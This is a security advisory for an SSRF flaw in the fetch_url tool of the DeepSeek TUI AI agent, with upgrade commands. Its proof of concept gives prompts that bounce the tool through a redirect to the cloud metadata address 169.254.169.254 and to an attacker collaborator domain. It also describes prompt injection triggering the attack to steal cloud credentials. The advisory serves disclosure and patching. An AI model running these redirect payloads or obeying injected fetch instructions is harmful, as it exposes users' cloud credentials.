Skip to content

GHSA-96ff-gc8g-wpvg CVE-2026-45310

DeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool

High crates.ionpm
Severity
7.4 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.28%
Chance of exploitation in the next 30 days. Higher than 20.45% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-918 Server-Side Request Forgery (SSRF)
Fix
Available
3 packages have a fixed version

Description

Summary

The fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections.

PoC

Step 1 — Baseline: Confirm fetch_url blocks direct requests to restricted IPs.

Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/
Expected: Error — "restricted address (private/loopback/link-local)"

Step 2 — SSRF bypass via redirect: Fetch a public URL that redirects to the restricted IP.

Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302

Expected result: The error message says "connection refused" or "request failed: connect error" — NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because 169.254.169.254 is unreachable from a non-cloud machine.

Observed result: fetch_url followed the 302 redirect and attempted to connect to 169.254.169.254. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.

Step 3 — Redirect to attacker-controlled host: Confirm attacker-controlled redirect targets are followed.

Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302
Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.

Impact

On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting fetch_url to http://169.254.169.254/latest/meta-data/. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call fetch_url with an attacker-controlled URL.

Affected versions

crates.io

PackageVulnerableFixed in
deepseek-tui
< 0.8.22
0.8.22
deepseek-tui-cli
< 0.8.22
0.8.22

npm

PackageVulnerableFixed in
deepseek-tui
< 0.8.22
0.8.22

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

deepseek-tui crates.io → 0.8.22

cargo
cargo update -p deepseek-tui --precise 0.8.22

deepseek-tui-cli crates.io → 0.8.22

cargo
cargo update -p deepseek-tui-cli --precise 0.8.22

deepseek-tui npm → 0.8.22

npm
npm install deepseek-tui@0.8.22
yarn
yarn add deepseek-tui@0.8.22
pnpm
pnpm add deepseek-tui@0.8.22

Severity breakdown

CVSS 3.1 7.4

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-h539-c7r8-3xq4
CodeWhale: js_execution leaks parent environment to model context via missing env scrub
High Also affects deepseek-tui
GHSA-w7wx-5q49-r59w
CodeWhale: image_analyze follows workspace symlinks, leaking external file bytes
High Also affects deepseek-tui
GHSA-7j5w-7r7x-9v27
CodeWhale: Argument Injection in `git_show` Tool Allows Arbitrary File Write Without Approval
Critical Also affects deepseek-tui
GHSA-c6mw-8xh8-gpq6
CodeWhale: Argument Injection in `git_blame` Tool Allows Arbitrary File Read Without Approval
High Also affects deepseek-tui
GHSA-gx45-xrj5-g6c4
CodeWhale: Project config `allow_shell` override enables arbitrary shell command execution via cloned repository
High Also affects deepseek-tui
GHSA-62f5-cp2p-vq95
CodeWhale: Project config `instructions` override enables arbitrary file read into AI system prompt via cloned repository
High Also affects deepseek-tui
GHSA-wrj3-vj8c-784f
CodeWhale: rlm_eval auto-approves arbitrary Python execution, bypassing the user's approval policy (RCE)
High Also affects deepseek-tui
GHSA-g29h-pfmp-qp9r
CodeWhale: exec_shell_interact sends LLM-controlled input to a running shell without an approval prompt (privilege escalation)
High Also affects deepseek-tui
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor